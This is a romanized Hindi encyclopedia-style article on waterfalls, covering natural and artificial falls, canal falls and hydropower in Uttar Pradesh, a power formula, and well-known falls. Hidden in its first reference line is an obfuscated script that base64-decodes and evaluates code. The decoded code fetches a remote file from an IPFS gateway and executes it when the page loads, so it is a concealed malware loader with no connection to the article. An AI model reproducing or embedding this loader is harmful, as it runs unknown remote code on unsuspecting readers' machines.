जलप्रपात
[[chitr:Amritdhara-Waterfall.jpg|thumb|300px|amritadhara jal prapat, chhattisagadh]] jalaprapat shabd se sadharanat: pani ke sankalit roop se girane ka bodh hota hai. prachin samay se hi prapatoan se anek labh uthae ja rahe haian. sarvapratham prapatoan dvara panachakki chalane ka prachalan hua. parvatiy pradeshoan mean panachakkiyaan visheshakar jalaprapatoan dvara hi chalati haian aur log panachakkiyoan dvara hi pisaee karate haian. jab naharoan ka nirman hua tab jalaprapatoan par pahale panachakkiyaan hi sthapit ki geean, jisase sianchaee ke atirikt ata pise jane ki suvidha ho sake. phir jab panabijali ka vikas hua tab jalaprapatoan par panabijali banane ke liye b de b de yantr lagae jane lage.[1]
jalaprapatoan ki utpatti
jalaprapatoan ki utpatti do prakar se hoti hai-
- prakritik jalaprapat
- kritrim jalaprapat
prakritik jalaprapat
prakritik jalaprapat bahudha parvatiy kshetroan mean hote haian, jahaan bhootal ka utar chadhav adhik hota hai. varsha rritu mean to chhote b de jal-prapat pray: sabhi paha di kshetroan mean dekhane ko milate haian, kuchh kshetroan mean, bhoo-star tulanatmak taur par kathor aur naram hone ke karan, bahate pani se katav dvara bhootal mean ek hi sthal par girav paida ho jata hai aur kahian-kahian samany samatal kshetroan mean bhi jalaprapat prakritik roop se ban jate haian. prithvi ke gurutv dvara prerit hokar pani ka veg jaise-jaise badhata hai, vaise hi usake bhoo-star ke katav ki kshamata badhati jati hai aur prapat b da hota jata hai. yah kriya tab tak jari rahati hai jab tak ki kuchh prakritik santulan n ho jae, aur prapat ke vistar mean sthirata nahian a jati hai.[1]
kritrim jalaprapat
kritrim prapat bahudha naharoan par banae jate haian. jahaan naharean yatayat ke lie bani hoti haian, vahaan pani ke veg ko kam karane ke liye prapat banae jate haian aur navoan ka avagaman l aaukoan[2] dvara hua karata hai. kabhi-kabhi nadiyoan mean bhi aise l aauk banae jate haian. bhoo-sianchaee ke lie banaee gee naharoan mean bhi jalaprapat isilie banae jate haian ki pani ka veg kam kiya ja sake. aise bahut se prapat uttar pradesh ki ganga tatha sharada naharoan par banae ge haian. any pradeshoan ki naharoan par bhi jalaprapat banae jate haian.
vidyut utpadan
prapat ke pani ke pariman tatha usake patan ke oopar jalaprapatoan se milane vali bijali ki matra nirbhar karati hai. sadharanat: isaka anuman niche likhe sootr se kiya jata hai-
- h*d/15= k (H*V/15=K)
yahaan 'h' (H) - patan ki ooanchaee phutoan mean 'd' (V) - prati sekand nisrit jal ka pariman ghanaphutoan mean 'k' (K) - utpann panabijali kilovat mean
isi sootr ke adhar par bahut se jalavidyut bijali ghar chalae jate haian. uttar pradesh mean ganga nahar par sthit jalaprapatoan par jo bijalighar bane haian, ve pathari, mohammadapur, nirgajini, salava, chiraura, sumera aur pal da prapatoan par sthit haian. sharada nahar par chhote b de 18 prapatoan ke girav ko khatina ke samip 60 phut ke girav mean sankalit kar lagabhag 10 hajar ghanaphut prati sekand pani ke bahav se jalavidyut utpadan ke liye ek b da bijali ghar nirmit kiya gaya. bharat ke any pradeshoan mean bahut se bijali ghar jalaprapatoan par banae ja chuke haian. kahian-kahian baandhoan dvara kritrim jalaprapat banakar bijali utpadan ki yojanaean sanpann ki gee haian.[1]
bharat mean vikhyat jalaprapat
sansar ke sabase b de prapatoan mean amarika aur kainada ke madhy sthit nayagara prapat tatha aphrika mean zaianbezi nadi par viktoriya prapat ki ganana ki jati hai. bharat mean sabase vikhyat prapat pashchimi ghat mean maisoor pradesh ka jog prapat hai. isake atirikt chhote b de prapat desh ke bhinn bhinn bhagoan mean sthit haian, jaise uttar pradesh mean mansoori ke samip kaianpati prapat, mirjapur ke samip sirasi prapat aur raanchi jile ka huandaru prapat hai.
upayog
prakritik ya kritrim jalaprapat sansar ke pray: sabhi deshoan mean haian. bhinn-bhinn deshoan mean, inaka bhinn-bhinn upayog hota hai. jalaprapat prakritik shakti ke mahanh strot haian; jinako manushy apani sanpannata evan suvidha, udyogoan tatha kritrim sadhanoan ke liye upayog mean lata hai. is prakar jalaprapat manushy ke liye prakriti ki bahut b di den hai.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 jalaprapat (hindi) bharatakhoj. abhigaman tithi: 30 julaee, 2015.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ locks
sanbandhit lekh
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varnamala kramanusar lekh khoj
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